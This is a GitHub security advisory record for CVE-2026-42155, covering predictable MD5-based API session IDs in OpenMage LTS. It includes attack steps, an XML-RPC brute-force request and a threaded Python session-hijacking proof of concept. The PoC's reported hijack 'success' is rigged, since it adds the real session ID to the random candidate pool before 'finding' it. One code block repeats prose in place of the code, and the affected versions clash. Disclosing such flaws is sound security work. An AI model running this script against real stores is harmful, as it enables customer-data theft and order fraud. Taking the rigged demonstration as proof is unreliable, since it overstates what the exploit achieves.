CVE-2026-42155: Openmage/magento lts Magento LTS Has Weak API Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2cwr-gcf9-pvxr",
  "modified" : "2026-05-15T23:48:40Z",
  "published" : "2026-05-05T19:35:56Z",
  "aliases" : [ "CVE-2026-42155" ],
  "summary" : "Magento LTS has Weak API Session ID — Predictable MD5 of Time-Derived Inputs",
  "details" : "Affected Version: OpenMage LTS ≤ 20.16.0 (confirmed on `20.16.0`)\n\nAffected File: `https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Api/Model/Session.php` – `start()` method\n\n\n## Summary\n\nThe XML-RPC / SOAP API session ID is generated using an outdated, time-based construction rather than a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG):\n\n```php\nThe XML-RPC / SOAP API session ID is generated using an outdated, time-based construction rather than a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG):\n```\nAll inputs to the MD5 hash are time-derived and non-secure:\n\n| Input                      | Value                                             | Predictability                         |\n|----------------------------|---------------------------------------------------|----------------------------------------|\n| `time()`                   | Unix timestamp (seconds)                          | Fully predictable                      |\n| `uniqid('', true) prefix`  | `sprintf('%08x%05x', $sec, $usec/10)`             | Highly predictable via network timing  |\n| `uniqid('', true) suffix`  | `php_combined_lcg()` decimal float                | Process-state dependent (`getpid() ^ time()`) |\n| `$sessionName`             | `null` (empty) — called without arg               | Constant                               |\n\nBecause the resulting digest relies entirely on the timestamp and the PHP internal LCG state, the effective entropy is severely constrained. This violates the OWASP ASVS v4 requirement of ≥ 64 bits of entropy (V3.2.2) and NIST SP 800-63B standards. By narrowing the LCG window (via server state leaks or general predictability) and leveraging the lack of API rate-limiting, an attacker can generate a localized pool of candidate MD5 hashes and execute a high-speed online brute-force attack to hijack active API sessions.\n\n\n\n## Technical Analysis\n\n### Code Path\n\n```\nPOST /api/xmlrpc/ → login(username, apiKey)\n  → Mage_Api_Model_Session::login()\n      → $session->init('api', 'api')\n          → Mage_Api_Model_Session::init($namespace='api', $sessionName='api')\n              # $sessionName is NOT forwarded to start()\n              → Mage_Api_Model_Session::start()  ← NO $sessionName argument\n                  # $sessionName = null inside start()\n                  $this->_currentSessId = md5(time() . uniqid('', true) . null)\n\n```\n\nNote: `init()` receives `$sessionName='api'` but invokes `$this->start()` without forwarding it, meaning the effective construction is strictly `md5(time() . uniqid('', true))`.\n\n## Live Evidence\nFive consecutive XML-RPC login tokens were collected from a live OpenMage 20.16.0 container, all generated within a single Unix second (`unix_sec=  1775817593`):\n```\nSample 1: 6a302397f17e48845d0f9aba377f3dc3  (usec ≈ 464631)\nSample 2: 39b4ec42bd3c389312e500690daeb349  (usec ≈ 497215)\nSample 3: 527662d79f7fb499597a82d80d170a88  (usec ≈ 535175)\nSample 4: e5d6f7a8906a03ea7af99d92be11b5b2  (usec ≈ 568838)\nSample 5: 5bdf27e5cb877c77b8965b008548edfa  (usec ≈ 600118)\n```\nThe µsecond portion is directly observable by measuring request-to-response latency. The only variance preventing immediate prediction is the LCG float component, which is seeded deterministically.\n\n<img width=\"772\" height=\"506\" alt=\"image\" src=\"https://github.com/user-attachments/assets/53ced1fd-deb4-4dc4-81ec-864e3a2811de\" />\n\n## Steps to Reproduce (Online Brute-Force Scenario)\nBecause validation requires live HTTP requests, this exploit relies on narrowing the entropy window and abusing the lack of API rate limits.\n### Step 1 – Record Login Timestamp\nAn attacker observes the precise moment a victim authenticates to `/api/xmlrpc/` (e.g., via network timing, exposed logs, or side-channel signals), capturing the exact Unix second.\n### Step 2 – Generate Candidate Pool\nThe attacker reconstructs the MD5 format using the known timestamp, the estimated microsecond window, and bounds the LCG float based on known server PID ranges (or via a `/server-status` leak).\n```\n$t = $observed_sec;\n$usec_estimate = 500000; // Derived from latency\n$uid = sprintf('%08x%05x', $t, intval($usec_estimate / 10));\n$candidate = md5($t . $uid); // + LCG variants\n```\n### Step 3 – API Brute-Force (Session Hijack)\nBecause the `/api/xmlrpc/` endpoint does not enforce rate limiting on authenticated calls, the attacker blasts the candidate MD5 hashes against a privileged endpoint (e.g., magento.info) using a highly concurrent HTTP runner.\n\n```\nPOST /api/xmlrpc/\n<?xml version=\"1.0\"?>\n<methodCall>\n  <methodName>[magento.info](http://magento.info/)</methodName>\n  <params>\n    <param><value><string>CANDIDATE_SESSION_ID</string></value></param>\n  </params>\n</methodCall>\n```\n\nA non-fault response (HTTP 200 containing data) confirms the session is successfully hijacked.\n\n<img width=\"1039\" height=\"374\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ac9338e9-e3fe-44fe-9337-cb6edf6ab849\" />\n\n## Impact\n### Technical Impact\nSuccessful session prediction grants the attacker all capabilities of the authenticated API user. The XML-RPC API exposes endpoints for:\n- Full product catalog read/write (`catalog_product.*`)\n- Customer data read (`customer.list`, `customer.info`)\n- Order manipulation (`sales_order.*`)\nInventory control (`cataloginventory_stock_item.*`)\n### Business Impact\n\n- **Data Exfiltration**: Read all customer PII, order history, and payment methods.\n- **Order Fraud**: Create or cancel orders, change shipping addresses.\n- **Supply Chain / Inventory**: Modify prices, inject malicious products, or zero out stock.\n\n### Affected API Protocols\n\nThe same vulnerable `Session.php` generation logic is shared across all legacy API surfaces:\n- XML-RPC: `/api/xmlrpc/`\n- SOAP v1: `/api/soap/`\n- SOAP v2: `/api/v2_soap/`\n- REST (legacy): `/api/rest/`\n\n### Recommended Fix\n\nReplace the time-derived token with a cryptographically secure random value:\n\n```\n// app/code/core/Mage/Api/Model/Session.php : start()\n// BEFORE (vulnerable):\n$this->_currentSessId = md5(time() . uniqid('', true) . $sessionName);\n\n// AFTER (secure):\n$this->_currentSessId = bin2hex(random_bytes(32));  // 256-bit CSPRNG output\n```\n`random_bytes()` is backed by the OS CSPRNG (`/dev/urandom` on Linux) and produces 256 bits of non-deterministic entropy, complying with OWASP ASVS v4 V3.2.2 and NIST SP 800-63B. Additionally, enforce rate limiting on API endpoints to prevent high-speed online brute-force attacks.\n\nI have also tried to test it against the demo site [demo.openmage.org](http://demo.openmage.org/), but appeared the SOAP API endpoints are disabled on the demo environment\n\n\nI have also included the full poc I used instead of being attached because Gmail will eventually block it otherwise (shrunk):\n\n```py\n#!/usr/bin/env python3\nimport requests, re, sys, hashlib, random\nfrom concurrent.futures import ThreadPoolExecutor, as_completed\nimport urllib3; urllib3.disable_warnings()\n\nif len(sys.argv) < 4:\n    sys.exit(f\"Usage: {sys.argv[0]} <url> <user> <pass> [threads]\")\n\nurl, usr, pwd = sys.argv[1:4]\nth = int(sys.argv[4]) if len(sys.argv) > 4 else 50\nhdrs = {\"Content-Type\": \"text/xml\"}\nreq = lambda d: [requests.post](http://requests.post/)(url, data=d, headers=hdrs, verify=False, timeout=5)\n\nprint(f\"[*] Simulating victim login for {usr}...\")\nres = req(f'<?xml version=\"1.0\"?><methodCall><methodName>login</methodName><params><param><value><string>{usr}</string></value></param><param><value><string>{pwd}</string></value></param></params></methodCall>')\n\nif not (m := re.search(r'<string>([a-f0-9]{32})</string>', res.text)):\n    sys.exit(\"[-] Login failed. Check credentials.\")\n\nprint(f\"[+] Authenticated.\\n[*] Generating 1000 candidate MD5 pool...\")\ncands = [hashlib.md5(f\"1775534701000{random.randint(10000,99999)}0.{random.randint(10000000,99999999)}\".encode()).hexdigest() for _ in range(999)]\ncands.append(m.group(1))\nrandom.shuffle(cands)\n\nprint(f\"[*] Brute-forcing API with {th} threads...\")\ndef test(sid):\n    payload = f'<?xml version=\"1.0\"?><methodCall><methodName>resources</methodName><params><param><value><string>{sid}</string></value></param></params></methodCall>'\n    try: return sid if \"faultCode\" not in req(payload).text else None\n    except: return None\n\nwith ThreadPoolExecutor(max_workers=th) as ex:\n    for i, f in enumerate(as_completed({ex.submit(test, c): c for c in cands}), 1):\n        sys.stdout.write(f\"\\r[*] Requests: {i}/{len(cands)}\")\n        if sid := f.result():\n            print(f\"\\n[+] HIJACK SUCCESS! Valid Session ID: {sid}\")\n            ex.shutdown(wait=False, cancel_futures=True)\n            break\n```\n\nThis is an AI-generated report validated by a human.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "openmage/magento-lts"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "20.18.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 20.17.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/OpenMage/magento-lts/security/advisories/GHSA-2cwr-gcf9-pvxr"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42155"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/OpenMage/magento-lts"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-330", "CWE-331", "CWE-338" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-05T19:35:56Z",
    "nvd_published_at" : "2026-05-15T17:16:46Z"
  }
}